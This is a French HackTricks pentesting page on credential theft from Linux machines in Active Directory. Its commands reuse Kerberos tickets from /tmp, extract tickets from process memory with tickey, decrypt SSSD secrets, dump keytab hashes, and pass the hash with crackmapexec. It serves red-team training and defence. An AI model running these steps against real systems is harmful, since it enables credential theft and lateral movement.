Linux Active Directory

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Une machine Linux peut également être présente dans un environnement Active Directory.

Une machine Linux dans un AD pourrait stocker différents tickets CCACHE à l'intérieur de fichiers. Ces tickets peuvent être utilisés et exploités comme tout autre ticket Kerberos. Pour lire ces tickets, vous devrez être le propriétaire utilisateur du ticket ou root à l'intérieur de la machine.

Énumération

Énumération AD depuis Linux

Si vous avez accès à un AD sous Linux (ou bash sous Windows), vous pouvez essayer https://github.com/lefayjey/linWinPwn pour énumérer l'AD.

Vous pouvez également consulter la page suivante pour apprendre d'autres façons d'énumérer l'AD depuis Linux:

page389, 636, 3268, 3269 - Pentesting LDAP

FreeIPA

FreeIPA est une alternative open-source à Microsoft Windows Active Directory, principalement pour les environnements Unix. Il combine un annuaire LDAP complet avec un centre de distribution de clés MIT Kerberos pour une gestion similaire à Active Directory. En utilisant le système de certificats Dogtag pour la gestion des certificats CA & RA, il prend en charge l'authentification multi-facteurs, y compris les cartes à puce. SSSD est intégré pour les processus d'authentification Unix. En savoir plus à ce sujet dans :

pageFreeIPA Pentesting

Manipulation des tickets

Pass The Ticket

Sur cette page, vous allez trouver différents endroits où vous pourriez trouver des tickets Kerberos à l'intérieur d'un hôte Linux, sur la page suivante, vous pouvez apprendre comment transformer ces formats de tickets CCache en Kirbi (le format nécessaire à utiliser dans Windows) et également comment effectuer une attaque PTT :

pagePass the Ticket

Réutilisation de tickets CCACHE depuis /tmp

Les fichiers CCACHE sont des formats binaires pour stocker des informations d'identification Kerberos sont généralement stockés avec des autorisations 600 dans /tmp. Ces fichiers peuvent être identifiés par leur format de nom, krb5cc_%{uid}, correspondant à l'UID de l'utilisateur. Pour la vérification du ticket d'authentification, la variable d'environnement KRB5CCNAME doit être définie sur le chemin du fichier de ticket souhaité, permettant sa réutilisation.

Listez le ticket actuel utilisé pour l'authentification avec env | grep KRB5CCNAME. Le format est portable et le ticket peut être réutilisé en définissant la variable d'environnement avec export KRB5CCNAME=/tmp/ticket.ccache. Le format du nom du ticket Kerberos est krb5cc_%{uid} où uid est l'UID de l'utilisateur.

# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000

# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000

Réutilisation de ticket CCACHE à partir du trousseau de clés

Les tickets Kerberos stockés dans la mémoire d'un processus peuvent être extraits, en particulier lorsque la protection ptrace de la machine est désactivée (/proc/sys/kernel/yama/ptrace_scope). Un outil utile à cette fin se trouve sur https://github.com/TarlogicSecurity/tickey, qui facilite l'extraction en injectant dans les sessions et en extrayant les tickets dans /tmp.

Pour configurer et utiliser cet outil, les étapes ci-dessous sont suivies :

git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i

Cette procédure tentera d'injecter dans diverses sessions, indiquant le succès en stockant les tickets extraits dans /tmp avec une convention de nommage __krb_UID.ccache.

Réutilisation de ticket CCACHE à partir de SSSD KCM

SSSD maintient une copie de la base de données au chemin /var/lib/sss/secrets/secrets.ldb. La clé correspondante est stockée en tant que fichier caché au chemin /var/lib/sss/secrets/.secrets.mkey. Par défaut, la clé n'est lisible que si vous avez les permissions root.

L'invocation de SSSDKCMExtractor avec les paramètres --database et --key analysera la base de données et déchiffrera les secrets.

git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

Le blob de cache d'informations d'identification Kerberos peut être converti en un fichier CCache Kerberos utilisable qui peut être transmis à Mimikatz/Rubeus.

Réutilisation de ticket CCACHE à partir de keytab

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

Extraire des comptes de /etc/krb5.keytab

Les clés de compte de service, essentielles pour les services fonctionnant avec des privilèges root, sont stockées de manière sécurisée dans les fichiers /etc/krb5.keytab. Ces clés, semblables à des mots de passe pour les services, exigent une confidentialité stricte.

Pour inspecter le contenu du fichier keytab, klist peut être utilisé. Cet outil est conçu pour afficher les détails de la clé, y compris le NT Hash pour l'authentification de l'utilisateur, en particulier lorsque le type de clé est identifié comme étant 23.

klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

Pour les utilisateurs de Linux, KeyTabExtract offre une fonctionnalité pour extraire le hachage RC4 HMAC, qui peut être exploité pour réutiliser le hachage NTLM.

python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability

Sur macOS, bifrost sert d'outil d'analyse de fichiers keytab.

./bifrost -action dump -source keytab -path /path/to/your/file

En utilisant les informations de compte et de hachage extraites, des connexions aux serveurs peuvent être établies en utilisant des outils tels que crackmapexec.

crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)!

Dernière mise à jour